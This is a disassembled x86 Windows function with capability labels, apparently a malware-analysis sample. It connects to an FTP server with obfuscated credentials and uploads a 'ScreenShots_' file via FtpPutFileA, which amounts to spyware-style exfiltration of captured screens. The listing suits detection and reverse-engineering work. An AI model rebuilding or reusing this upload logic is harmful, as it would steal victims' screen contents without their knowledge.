Function at 0x10012510
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041aa5
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x1005b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov eax, 0x10172c30
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012560
sub eax, edx
mov edi, eax
mov eax, 0x10172c30
lea esi, [ebp - 0xd4]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0xf0]
push ecx
mov dword [ebp - 4], ebx
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 2
cmp dword [ebp - 0xc0], 0x10
jb 0x100125ad
mov edx, dword [ebp - 0xd4]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0xf
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x34], eax
mov eax, 0x10172cf8
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100125d5
sub eax, edx
mov edi, eax
mov eax, 0x10172cf8
lea esi, [ebp - 0x48]
call fcn.10002d20
mov byte [ebp - 4], 3
mov eax, 0x10172dc0
mov dword [ebp - 0x6c], 0xf
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012606
sub eax, esi
mov edi, eax
mov eax, 0x10172dc0
lea esi, [ebp - 0x80]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x64]
push ecx
mov byte [ebp - 4], 4
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 6
cmp dword [ebp - 0x6c], 0x10
jb 0x10012648
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp - 0x114]
push eax
push 2
push ebx
mov dword [ebp - 0x114], 0x9c4
call esi
push 4
lea ecx, [ebp - 0x114]
push ecx
push 5
push ebx
call esi
push 4
lea edx, [ebp - 0x114]
push edx
push 6
push ebx
call esi
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x110], esi
cmp esi, ebx
jne 0x100126bb
mov esi, 0x10
cmp dword [ebp - 0x50], esi
jb 0x100126b1
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
jmp 0x10012d07
mov edx, dword [ebp - 0x64]
mov edi, 0x10
cmp dword [ebp - 0x50], edi
jae 0x100126cb
lea edx, [ebp - 0x64]
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x34], edi
jae 0x100126d6
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0xdc], edi
jae 0x100126ea
lea eax, [ebp - 0xf0]
push ebx
push 0x8000000
push 1
push edx
push ecx
push 0x15
push eax
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x118], eax
cmp eax, ebx
jne 0x1001274f
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x50], edi
jb 0x10012721
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
cmp dword [ebp - 0x34], edi
jb 0x10012741
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0xdc], edi
mov dword [ebp - 0x34], esi
jmp 0x10012d2b
mov dword [ebp - 0x88], 0xf
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
push 0xc
mov eax, str.ScreenShots_
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 7
call fcn.10008150
push ebx
push 0x1016dddc
or eax, 0xffffffff
lea esi, [ebp - 0x9c]
call fcn.100084a0
push 1
mov eax, 0x1004eb58
mov ecx, esi
call fcn.10008150
mov eax, 0x10174b78
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100127a5
sub eax, esi
push eax
mov eax, 0x10174b78
lea ecx, [ebp - 0x9c]
call fcn.10008150
mov edi, 0x18
mov eax, str.gY9ioE8iS7L1amY8qYfrQ
lea esi, [ebp - 0xd4]
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x10c]
push ecx
mov byte [ebp - 4], 8
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0xc0], 0x10
jb 0x1001281d
mov edx, dword [ebp - 0xd4]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0x9c]
mov eax, 0x10
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
cmp dword [ebp - 0x88], eax
jae 0x1001284c
lea ecx, [ebp - 0x9c]
cmp dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x10c]
jae 0x10012860
lea eax, [ebp - 0x10c]
push ebx
push 2
push ecx
push eax
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.WININET.dll_FtpPutFileA]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
mov edi, 0x40
lea esi, [ebp - 0xb8]
test eax, eax
jne 0x100129b2
mov eax, str.CgJ9P64zLiCXholyXZbPvxANqfgkFqHJdzi1I3mctaqpqc9NfWJ9RE_WM51QBfr3
call fcn.10002d20
mov ecx, esi
push ecx
lea edx, [ebp - 0x80]
push edx
mov byte [ebp - 4], 0xb
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0xa4], 0x10
jb 0x100128d5
mov eax, dword [ebp - 0xb8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0x9c]
mov eax, 0x10
mov esi, 0xf
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
cmp dword [ebp - 0x88], eax
jae 0x10012905
lea ecx, [ebp - 0x9c]
cmp dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x80]
jae 0x10012910
lea eax, [ebp - 0x80]
push ecx
push eax
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012931
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0xe
call fcn.1001ad30
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], 0x10
jb 0x1001296b
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x80]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0xf
call fcn.10003280
cmp dword [ebp - 0x18], 0x10
jb 0x1001299b
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x6c], 0x10
jb 0x10012ad1
mov ecx, dword [ebp - 0x80]
push ecx
jmp 0x10012ac8
mov eax, str.CgJ9P64zLiCXholyXZbPvYEEV9BjsFlujoRykcy2Pxp3e8rIQjoXK7PRQICLk5A
call fcn.10002d20
lea edx, [ebp - 0xb8]
push edx
lea eax, [ebp - 0x80]
push eax
mov byte [ebp - 4], 0x10
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0xa4], 0x10
jb 0x100129f0
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0x9c]
mov eax, 0x10
mov esi, 0xf
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
cmp dword [ebp - 0x88], eax
jae 0x10012a20
lea ecx, [ebp - 0x9c]
cmp dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x80]
jae 0x10012a2b
lea eax, [ebp - 0x80]
push ecx
push eax
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012a50
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0x13
call fcn.1001ad30
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x18], 0x10
jb 0x10012a8a
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x80]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0x14
call fcn.10003280
cmp dword [ebp - 0x18], 0x10
jb 0x10012aba
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x6c], 0x10
jb 0x10012ad1
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x118]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x110]
push ecx
call esi
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x64]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 0x15
call fcn.10003280
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0x10
jb 0x10012b1d
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xf0]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 0x16
call fcn.10003280
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0x10
jb 0x10012b57
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0x17
call fcn.10003280
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0x10
jb 0x10012b8b
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], 0xf
lea edx, [ebp - 0xf0]
mov dword [ebp - 0x110], esp
mov byte [ecx], bl
push edx
or eax, 0xffffffff
xor ebx, ebx
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 0x18
call fcn.10003280
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0x10
jb 0x10012be6
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x48]
mov dword [ebp - 0x110], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0x19
call fcn.10003280
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0x10
jb 0x10012c40
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x64]
mov dword [ebp - 0x110], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 0x1a
call fcn.10003280
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x10012c9a
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0xf8], esi
jb 0x10012cb2
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0xf8], edi
mov dword [ebp - 0xfc], ebx
mov byte [ebp - 0x10c], bl
cmp dword [ebp - 0x88], esi
jb 0x10012ce3
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
cmp dword [ebp - 0x50], esi
jb 0x10012d07
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 0x64], bl
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], edi
cmp dword [ebp - 0x34], esi
jb 0x10012d22
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0xdc], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
jb 0x10012d43
mov edx, dword [ebp - 0xf0]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003e6b0
mov esp, ebp
pop ebp
ret